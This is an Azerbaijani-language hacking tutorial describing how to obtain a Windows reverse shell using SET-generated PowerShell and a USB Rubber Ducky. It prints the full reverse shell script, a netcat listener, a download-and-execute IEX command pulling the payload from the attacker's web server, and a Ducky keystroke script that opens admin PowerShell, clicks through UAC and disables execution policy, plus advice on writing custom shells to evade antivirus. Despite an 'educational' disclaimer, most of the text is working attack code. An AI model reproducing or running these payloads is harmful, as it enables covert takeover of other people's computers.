Salam hər vaxtınız xeyir dəyərli oxucular, bu gün Sosial Mühəndislik başlığı altında Mr.Robot serialında istifadə olunan Rubber Ducky cihazı və Powershell ilə Reverse shell əldə edəcəyik və bunu praktiki yerinə yetirəcəyik.
USB Rubber Ducky və Powershell ilə shell almaq
Bu başlıqda biz bu əməliyatı necə yerinə yetirəcəyimizi öyrənəcəyik.Powershell Microsoft ƏS üçün əsas dildir, Linux ƏS üçün isə Bash dilidir.İndi isə hansı mərhələlərlə əməliyyatı yerinə yetirəcəyimizə nəzər yetirək.
- SET alətinin köməyi ilə Powershell Reverse shell yaradın
- Kali Linux ƏS-də dinləməni başladın.
- .ps1 faylını Kali Linux ƏS-də veb serverində yerləşdirin.
- Windows ƏS keçin və Powershelli Administrator kimi çalışdırın.
- .ps1 faylını endirin və icra edin.
- Kali ƏS-də hədəf sistemə Reverse shell olduğunu yoxlayın.
- Bu əməliyyatları USB Rubber Ducky ilə yenidən yerinə yetirin.
Powershell ilə Skriptin hazırlanması
SET alətini işə salın və aşağıdakıları yerinə yetirin.
- Social-Engineering Attacks seçin
- Powershell Attack Vectors seçin
- Sonda isə Powershell Reverse Shell seçin.
Kali cihazının İP adresini proqrama daxil edin.Portu daxil edin biz burda 443 portunu seçməyəcəyik. 443 portu HTTPS protokolu üçün nəzərdə tutulmuşdur bu bəzi problemlərə səbəb ola bilər ona görə biz 7777 portundan istifadə edəcəyik.Sonda dinləmənin yerinə yetirməsini soruşacaq siz no seçin və səbəbi sonra öyrənəcəyik.
Enter the IPAddress or DNS name for the reverse host: 192.168.10.16
set:powershell> Enter the port for listener [443]: 7777
[*] Rewriting the powershell reverse shell with options
[*] Exporting the powershell stuff to /root/.set/reports/powershell
set> Do you want to start a listener [yes/no]: no
[*] Have netcat or standard socket listener on port 7777
Dinləməni başlatmaq
Biz əvvəl SET alətində dinləməni orda başlatmayacağımızı qeyd etdik və digər üsuldan istifadə edəcəyik. SET alətində susmaya görə dinləməni başlatdıqda Metasploit alətinin dinləməsi başladılır.Biz isə sadəlik üçün Netcat-dan istifadə edəcəyik.
┌──(root㉿kali)-[~]
└─# nc -lnvp 7777
listening on [any] 7777 ...
- -l dinləmə modunu aktivləşdirir(listening)
- -p hansı portunu dinləməcəyimizi bildirir(port)
- -n DNS lookup etməyəcəyini bildirir.
- -v ətraflı məlumat verməyini təyin edirik.
Powershell skriptini gözdən keçirmə
SET aləti mətn formatında bizə reverse shell kodunu yazdı və yolunu göstərdi:
/root/.set/reports/powershell/powershell.reverse.txt
Reverse shell faylını açın və SET alətinin sizin üçün Kali Linux İP adresinizi və port nömrənizi daxil etdiyindən əmin olun.
┌──(root㉿kali)-[~/.set/reports/powershell]
└─# cat powershell.reverse.txt
function cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit}
// Setup IPADDR
$address = '192.168.10.16'
// Setup PORT
$port = '7777'
$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
$stream = $client.GetStream()
$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput
Start-Sleep 1
$encoding = new-object System.Text.AsciiEncoding
while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length)
$out = $null; $done = $false; $testing = 0;
while (-not $done) {
if ($client.Connected -ne $true) {cleanup}
$pos = 0; $i = 1
while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
$pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}
if ($pos -gt 0) {
$string = $encoding.GetString($networkbuffer,0,$pos)
$inputstream.write($string)
start-sleep 1
if ($process.ExitCode -ne $null) {cleanup}
else {
$out = $encoding.GetString($outputstream.Read())
while($outputstream.Peek() -ne -1){
$out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}
$stream.Write($encoding.GetBytes($out),0,$out.length)
$out = $null
$string = $null}} else {cleanup}}
Bizim kodumuzda cüzi bir səhv var gəlin onu aradan qaldıraq.Şərh sətirlərinin prefiksləri düzgün deyil buna görə onları silək və yenidən yaddaşa verək:
// Setup IPADDR
// Setup PORT
ps1 faylını ps.reverse.ps1 kimi yadda saxladıqdan sonra veb serverimizi qaldıraq və hədəfə yönləndirmək üçün hazır vəziyyətə salaq. Bunun üçün faylın olduğu qovluqda aşağıdakı kommandadan istifadə edin.
python3 -m http.server 80
Powershellin işə salınması və skriptin yüklənməsi
Windows əməliyyat sistemində PowerShell proqramını Administrator olaraq açın.(Run as Administrator) Bunun üçün Windows baş menyusunda Powershell proqramını tapın və mausun sağ düyməsini klikləyib Run as Administrator seçin.
Skriptin yüklənməsi və işə salınması
Artıq Administrator kimi işə salınan PowerShellimiz var və sıra gəldi skriptimizin yüklənməsi üçün bəzi kommandaları yerinə yetirməyə.İlk olaraq buun üçün PowerShell İcraetmə qaydalarını dəyişməliyik.Bunu yerinə yetirdikdən sonra skripti yükləcək olan kommandanı daxil edirik və eyni terminalda yükləməni yerinə yetiririk.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32> Set-ExecutionPolicy Unrestricted
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): Y
PS C:\Windows\system32> iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.10.16/ps.reverse.ps1'))
Reverse shell
Kali Linux əməliyyat sisteminə qayıtdıqda netcat dinləməsi başlatdığımız terminalda Windows əməliyyat sistemindən reverse shell aldığımızı görə bilərik.
┌──(root㉿kali)-[~]
└─# nc -lnvp 7777
listening on [any] 7777 ...
connect to [192.168.10.16] from (UNKNOWN) [192.168.10.34] 61465
Microsoft Windows [Version 10.0.19045.5371]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Hücumun USB Rubber Ducky ilə həyata keçirilməsi
Bizim gördüyümüz laboratoriya şəraitində gerçəkləşən hücumlar idi, eyni addımları USB Rubber Ducky ilə yerinə yetirə bilərik.Aşağıda Powershelldə etdiyimiz əməliyyatları öz-özünə gerçəkləşdirəcək kommandaları yazılmışdır:
REM REVERSE SHELL PROQRAM
DELAY 500
REM Win + R açır
GUI r
DELAY 300
REM PowerShell-i administrator kimi açır
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 1000
REM UAC üçün Yes (Bəli) basır
ALT y
DELAY 500
REM Execution Policy-ni Unrestricted edir
STRING powershell -ep Bypass -c "Set-ExecutionPolicy Unrestricted -Force"
ENTER
DELAY 500
REM PowerShell skriptini endirib icra edir
STRING powershell -ep Bypass -c "IEX ((New-Object System.Net.WebClient).DownloadString('http://192.168.10.16/ps.reverse.ps1'))"
ENTER
Ümumi olaraq əməliyyatların necə getdiyini bildik.Bu kodu əvvəlki paylaşımdan bildiyimiz yolla USB Rubber Ducky yeritdikdən və hədəfdə işə salınandan sonra avtomatik olaraq sizə reverse shell gəlmiş olacaq. Gördüyünüz kimi Windows əməliyyat sistemi üçün Powershell dilindən və avtomatik alətlərdən istifadə etdim. Siz bunu gerçək həyatda çalışsanız heç şübhəsiz anti-viruslar tərəfindən tutulucaq və hücum uğursuz olacaqdır.Ona görə hər hansı bir proqramlaşdırma dilində öz reverse shelinizi yazmağınız məsləhətdir.
Qeyd: Bu paylaşım tamamilə maarifləndirici xarakter daşıyır. Edilən hər bir davranış şəxsi məsuliyyət yaradır.
Ümidvaram faydalı olmuşdur.Təşəkkürlər! Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Telegram (Qrup): https://t.me/xakerazgroup
Telegram (Chat): https://t.me/xakerazchat